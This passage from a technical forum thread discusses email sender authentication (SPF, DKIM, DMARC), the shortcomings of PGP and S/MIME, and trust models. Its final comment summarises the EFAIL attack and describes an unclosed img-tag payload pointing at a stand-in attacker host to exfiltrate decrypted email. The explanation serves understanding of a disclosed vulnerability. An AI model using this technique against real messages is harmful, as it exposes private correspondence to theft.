                                                                                                                                  4. Early 2010s: DMARC gets developed, which is a policy framework that allows domain owners to decide based on what a receiving mail server should evaluate incoming emails on, from that source domain (validate based on DKIM? SPF? Both? Neither?), what to do on validation failure and defines a reporting mechanism so domains can look at reports in aggregate.

                                                                                                                                  So to recap, the solution already exists: deploy SPF+DKIM, define your DMARC policy and you have email sender validation. Ignore PGP or S/MIME, those are very 90s standards that are not feasible to deploy on scale.

                                                                                                                                  Yeah, most organizations (90%-ish) decline to set a hard-reject DMARC policy. That is a story for another day though.

                                                                                                                                  1. 6

                                                                                                                                    Yeah, most organizations (90%-ish) decline to set a hard-reject DMARC policy. That is a story for another day though.

                                                                                                                                    That’s probably due to broken mailing lists. IETF MLs correctly handle that case by changing From, lists.sr.ht don’t change the e-mail but too many mailing lists just modify the e-mail and relay it further thus breaking DKIM signatures.

                                                                                                                                    1. 1

                                                                                                                                      Good points, I’ve set up SPF and DKIM on my server but will set up DMARC and make SPF stricter!

                                                                                                                                    1. 17

                                                                                                                                      The problem is we have two bad solutions, but bad for different reasons. None of them works transparently for the user.

                                                                                                                                      GnuPG was built by nerds who thought you could explain the Web of Trust to a normal human being. S/MIME was built to create a business model for CAs. You have to get a cert from somewhere and pay for it. (Also for encryption S/MIME is just broken, but we’re talking signatures here, so…) And yeah, I know there are options to get one for free, but the issue is, it’s not automated.

                                                                                                                                      Some people here compare it to HTTPS. There’s just no tech like HTTPS for email. HTTPS from the user side works completely transparently and for the web admin it’s getting much easier with ACME and Let’s Encrypt.

                                                                                                                                      1. 7

                                                                                                                                        We don’t need WoT here though. WoT exists so you can send me a signed/encrypted email. Nice, but that’s not what’s needed here.

                                                                                                                                        1. 3

                                                                                                                                          Of course you need a some measure of trust like a WoT or CA because how else are you going to verify that the sender is legitimate? Without that you can only really do xkcd authentication.

                                                                                                                                          1. 5

                                                                                                                                            Yes, you need some way to determine what you trust; but WoT states that if you trust Alice and I trust you, then I also trust Alice, and then eventually this web will be large enough I’ll be able to verify emails from everyone.

                                                                                                                                            But that’s not the goal here; I just want to verify a bunch of organisations I communicate with; like, say, my government.

                                                                                                                                            I think that maybe we’ve been too distracted with building a generic solution here.

                                                                                                                                            Also see my reply to your other post for some possible alternatives: https://lobste.rs/s/1cxqho/why_is_no_one_signing_their_emails#c_mllanb

                                                                                                                                            1. 1

                                                                                                                                              Trust On First Use goes a long way, especially when you have encrypted (all its faults nonewithstanding) and the communication is bidirectional as the recipient will notice that something is off if you use the wrong key to encrypt for them.

                                                                                                                                          2. 1

                                                                                                                                            Also for encryption S/MIME is just broken

                                                                                                                                            It is? How?

                                                                                                                                            1. 2

                                                                                                                                              The vulnerability published last year was dubbed EFAIL.

                                                                                                                                              1. 1

                                                                                                                                                Gotcha. Interesting read. I’ll summarize for anyone who doesn’t want to read the paper.

                                                                                                                                                The attack on S/MIME is a known plaintext attack that guesses—almost always correctly—that the encrypted message starts with “Content-type: multipart/signed”. You then can derive the initial parameters of the CBC encryption mode, and prepend valid encrypted data to the message, that will chain properly to the remainder of the message.

                                                                                                                                                To exfiltrate the message contents you prepend HTML that will send the contents of the message to a remote server, like an <img> tag with src="http://example-attacker-domain.com/ without a closing quote. When the email client loads images, it sends a request to the attacking server containing the fully decrypted contents of the message.

                                                                                                                                                S/MIME relies on the enclosed signature for authenticity AND integrity, rather than using an authenticated encryption scheme that guarantees the integrity of the encrypted message before decryption. Email clients show you the signature is invalid when you open the message, but still render the altered HTML. To stop this attack clients must refuse to render messages with invalid signatures, with no option for user override. According to their tests, no clients do this. The only existing email clients immune to the attack seem to be those that don’t know how to render HTML in the first place.

                                                                                                                                                The GPG attack is similar. Unlike S/MIME, GPG includes a modification detection code (MDC). The attack on GPG thus relies on a buggy client ignoring errors validating the MDC, like accepting messages with the MDC stripped out, or even accepting messages with an incorrect MDC. A shocking 10 out of 28 clients tested had an exploitable form of this bug, including the popular Enigmail plugin.